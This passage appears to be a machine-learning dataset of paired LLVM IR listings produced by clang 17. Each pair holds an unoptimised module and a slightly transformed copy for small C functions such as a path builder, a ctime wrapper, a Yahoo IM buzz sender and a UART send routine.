attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmph45_5ed1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @pevent_peek_char() #0 {
%1 = call i32 (...) @__peek_char()
ret i32 %1
}
declare i32 @__peek_char(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_1yz0f01.c'
source_filename = "/tmp/tmp_1yz0f01.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @pathBuilderAppend(ptr noundef %0, i64 noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%9 = load ptr, ptr %6, align 8
%10 = call i64 @strlen(ptr noundef %9)
store i64 %10, ptr %7, align 8
%11 = load i64, ptr %5, align 8
%12 = call i64 @sSizeAdd(i64 noundef %11, i64 noundef 2)
%13 = load i64, ptr %7, align 8
%14 = call i64 @sSizeAdd(i64 noundef %12, i64 noundef %13)
store i64 %14, ptr %8, align 8
%15 = load ptr, ptr %4, align 8
%16 = load ptr, ptr %15, align 8
%17 = load i64, ptr %8, align 8
%18 = call ptr @CR_EnsureCapacity(ptr noundef %16, i64 noundef %17)
%19 = load ptr, ptr %4, align 8
store ptr %18, ptr %19, align 8
%20 = load ptr, ptr %4, align 8
%21 = load ptr, ptr %20, align 8
%22 = load i64, ptr %5, align 8
%23 = getelementptr inbounds i8, ptr %21, i64 %22
store i8 47, ptr %23, align 1
%24 = load ptr, ptr %4, align 8
%25 = load ptr, ptr %24, align 8
%26 = load i64, ptr %8, align 8
%27 = sub i64 %26, 1
%28 = getelementptr inbounds i8, ptr %25, i64 %27
store i8 0, ptr %28, align 1
%29 = load ptr, ptr %4, align 8
%30 = load ptr, ptr %29, align 8
%31 = load i64, ptr %5, align 8
%32 = add i64 %31, 1
%33 = getelementptr inbounds i8, ptr %30, i64 %32
%34 = load ptr, ptr %6, align 8
%35 = load i64, ptr %7, align 8
%36 = call i32 @memcpy(ptr noundef %33, ptr noundef %34, i64 noundef %35)
%37 = load i64, ptr %8, align 8
%38 = sub i64 %37, 1
ret i64 %38
}
declare i64 @strlen(ptr noundef) #1
declare i64 @sSizeAdd(i64 noundef, i64 noundef) #1
declare ptr @CR_EnsureCapacity(ptr noundef, i64 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_1yz0f01.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @pathBuilderAppend(ptr noundef %0, i64 noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%9 = load ptr, ptr %6, align 8
%10 = call i64 @strlen(ptr noundef %9)
store i64 %10, ptr %7, align 8
%11 = load i64, ptr %5, align 8
%12 = call i64 @sSizeAdd(i64 noundef %11, i64 noundef 2)
%13 = load i64, ptr %7, align 8
%14 = call i64 @sSizeAdd(i64 noundef %12, i64 noundef %13)
store i64 %14, ptr %8, align 8
%15 = load ptr, ptr %4, align 8
%16 = load ptr, ptr %15, align 8
%17 = load i64, ptr %8, align 8
%18 = call ptr @CR_EnsureCapacity(ptr noundef %16, i64 noundef %17)
%19 = load ptr, ptr %4, align 8
store ptr %18, ptr %19, align 8
%20 = load ptr, ptr %4, align 8
%21 = load ptr, ptr %20, align 8
%22 = load i64, ptr %5, align 8
%23 = getelementptr inbounds i8, ptr %21, i64 %22
store i8 47, ptr %23, align 1
%24 = load ptr, ptr %4, align 8
%25 = load ptr, ptr %24, align 8
%26 = load i64, ptr %8, align 8
%27 = sub i64 %26, 1
%28 = getelementptr inbounds i8, ptr %25, i64 %27
store i8 0, ptr %28, align 1
%29 = load ptr, ptr %4, align 8
%30 = load ptr, ptr %29, align 8
%31 = load i64, ptr %5, align 8
%32 = add i64 %31, 1
%33 = getelementptr inbounds i8, ptr %30, i64 %32
%34 = load ptr, ptr %6, align 8
%35 = load i64, ptr %7, align 8
%36 = call i32 @memcpy(ptr noundef %33, ptr noundef %34, i64 noundef %35)
%37 = load i64, ptr %8, align 8
%38 = sub i64 %37, 1
ret i64 %38
}
declare i64 @strlen(ptr noundef) #1
declare i64 @sSizeAdd(i64 noundef, i64 noundef) #1
declare ptr @CR_EnsureCapacity(ptr noundef, i64 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp1olprvq1.c'
source_filename = "/tmp/tmp1olprvq1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1olprvq1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp8ntteske.c'
source_filename = "/tmp/tmp8ntteske.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp8ntteske.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmf55qr8v.c'
source_filename = "/tmp/tmpmf55qr8v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmf55qr8v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptxm0nsha.c'
source_filename = "/tmp/tmptxm0nsha.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@lctime.buf = internal global [25 x i8] zeroinitializer, align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @lctime(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 @ctime(ptr noundef %2)
%4 = call i32 @strlcpy(ptr noundef @lctime.buf, i32 noundef %3, i32 noundef 25)
ret ptr @lctime.buf
}
declare i32 @strlcpy(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ctime(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptxm0nsha.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@lctime.buf = internal global [25 x i8] zeroinitializer, align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @lctime(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 @ctime(ptr noundef %2)
%4 = call i32 @strlcpy(ptr noundef @lctime.buf, i32 noundef %3, i32 noundef 25)
ret ptr @lctime.buf
}
declare i32 @strlcpy(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ctime(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp12e1ob_i.c'
source_filename = "/tmp/tmp12e1ob_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"Inside {}'s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
br label %2
2: ; preds = %0
%3 = call i32 @printf(ptr noundef @.str)
br label %4
4: ; preds = %2
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp12e1ob_i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"Inside {}'s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
br label %2
2: ; preds = %0
%3 = call i32 @printf(ptr noundef @.str)
br label %4
4: ; preds = %2
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpf58wenmj.c'
source_filename = "/tmp/tmpf58wenmj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf58wenmj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpjvihtoq1.c'
source_filename = "/tmp/tmpjvihtoq1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"<ding>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @yahoo_send_buzz(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = load ptr, ptr %6, align 8
%10 = call i32 @yahoo_send_im(i32 noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef @.str, i32 noundef 1, i32 noundef 0)
ret void
}
declare i32 @yahoo_send_im(i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjvihtoq1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"<ding>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @yahoo_send_buzz(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%7 = load i32, ptr %4, align 4
%8 = load ptr, ptr %5, align 8
%9 = load ptr, ptr %6, align 8
%10 = call i32 @yahoo_send_im(i32 noundef %7, ptr noundef %8, ptr noundef %9, ptr noundef @.str, i32 noundef 1, i32 noundef 0)
ret void
}
declare i32 @yahoo_send_im(i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp7t94aif0.c'
source_filename = "/tmp/tmp7t94aif0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [201 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/AmesianX/OpenBLT/refs/heads/master/Target/Demo/ARMCM3_LM3S_EK_LM3S6965_Crossworks/Boot/lib/driverlib/uartlib.c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @UART9BitAddrSend(i64 noundef %0, i8 noundef zeroext %1) #0 {
%3 = alloca i64, align 8
%4 = alloca i8, align 1
%5 = alloca i64, align 8
store i64 %0, ptr %3, align 8
store i8 %1, ptr %4, align 1
%6 = load i64, ptr %3, align 8
%7 = call i32 @UARTBaseValid(i64 noundef %6)
%8 = icmp ne i32 %7, 0
br i1 %8, label %11, label %9
9: ; preds = %2
%10 = call i32 @AssertFailure(ptr noundef @.str, i32 noundef 1909)
br label %11
11: ; preds = %9, %2
br label %12
12: ; preds = %19, %11
%13 = load i64, ptr %3, align 8
%14 = add i64 %13, 24
%15 = inttoptr i64 %14 to ptr
%16 = load volatile i64, ptr %15, align 8
%17 = and i64 %16, 136
%18 = icmp ne i64 %17, 0
br i1 %18, label %19, label %20
19: ; preds = %12
br label %12, !llvm.loop !6
20: ; preds = %12
%21 = load i64, ptr %3, align 8
%22 = add i64 %21, 44
%23 = inttoptr i64 %22 to ptr
%24 = load volatile i64, ptr %23, align 8
store i64 %24, ptr %5, align 8
%25 = load i64, ptr %5, align 8
%26 = and i64 %25, -5
%27 = or i64 %26, 128
%28 = or i64 %27, 2
%29 = load i64, ptr %3, align 8
%30 = add i64 %29, 44
%31 = inttoptr i64 %30 to ptr
store volatile i64 %28, ptr %31, align 8
%32 = load i8, ptr %4, align 1
%33 = zext i8 %32 to i64
%34 = load i64, ptr %3, align 8
%35 = add i64 %34, 0
%36 = inttoptr i64 %35 to ptr
store volatile i64 %33, ptr %36, align 8
br label %37
37: ; preds = %44, %20
%38 = load i64, ptr %3, align 8
%39 = add i64 %38, 24
%40 = inttoptr i64 %39 to ptr
%41 = load volatile i64, ptr %40, align 8
%42 = and i64 %41, 136
%43 = icmp ne i64 %42, 0
br i1 %43, label %44, label %45
44: ; preds = %37
br label %37, !llvm.loop !8
45: ; preds = %37
%46 = load i64, ptr %5, align 8
%47 = load i64, ptr %3, align 8
%48 = add i64 %47, 44
%49 = inttoptr i64 %48 to ptr
store volatile i64 %46, ptr %49, align 8
ret void
}
declare i32 @UARTBaseValid(i64 noundef) #1
declare i32 @AssertFailure(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7t94aif0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [201 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/AmesianX/OpenBLT/refs/heads/master/Target/Demo/ARMCM3_LM3S_EK_LM3S6965_Crossworks/Boot/lib/driverlib/uartlib.c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @UART9BitAddrSend(i64 noundef %0, i8 noundef zeroext %1) #0 {
%3 = alloca i64, align 8
%4 = alloca i8, align 1
%5 = alloca i64, align 8
store i64 %0, ptr %3, align 8
store i8 %1, ptr %4, align 1
%6 = load i64, ptr %3, align 8
%7 = call i32 @UARTBaseValid(i64 noundef %6)
%8 = icmp ne i32 %7, 0
br i1 %8, label %11, label %9
9: ; preds = %2
%10 = call i32 @AssertFailure(ptr noundef @.str, i32 noundef 1909)
br label %11
11: ; preds = %9, %2
br label %12
12: ; preds = %12, %11
%13 = load i64, ptr %3, align 8
%14 = add i64 %13, 24
%15 = inttoptr i64 %14 to ptr
%16 = load volatile i64, ptr %15, align 8
%17 = and i64 %16, 136
%18 = icmp ne i64 %17, 0
br i1 %18, label %12, label %19, !llvm.loop !6
19: ; preds = %12
%20 = load i64, ptr %3, align 8
%21 = add i64 %20, 44
%22 = inttoptr i64 %21 to ptr
%23 = load volatile i64, ptr %22, align 8
store i64 %23, ptr %5, align 8
%24 = load i64, ptr %5, align 8
%25 = and i64 %24, -5
%26 = or i64 %25, 128
%27 = or i64 %26, 2
%28 = load i64, ptr %3, align 8
%29 = add i64 %28, 44
%30 = inttoptr i64 %29 to ptr
store volatile i64 %27, ptr %30, align 8
%31 = load i8, ptr %4, align 1
%32 = zext i8 %31 to i64
%33 = load i64, ptr %3, align 8
%34 = add i64 %33, 0
%35 = inttoptr i64 %34 to ptr
store volatile i64 %32, ptr %35, align 8
br label %36
36: ; preds = %36, %19
%37 = load i64, ptr %3, align 8
%38 = add i64 %37, 24
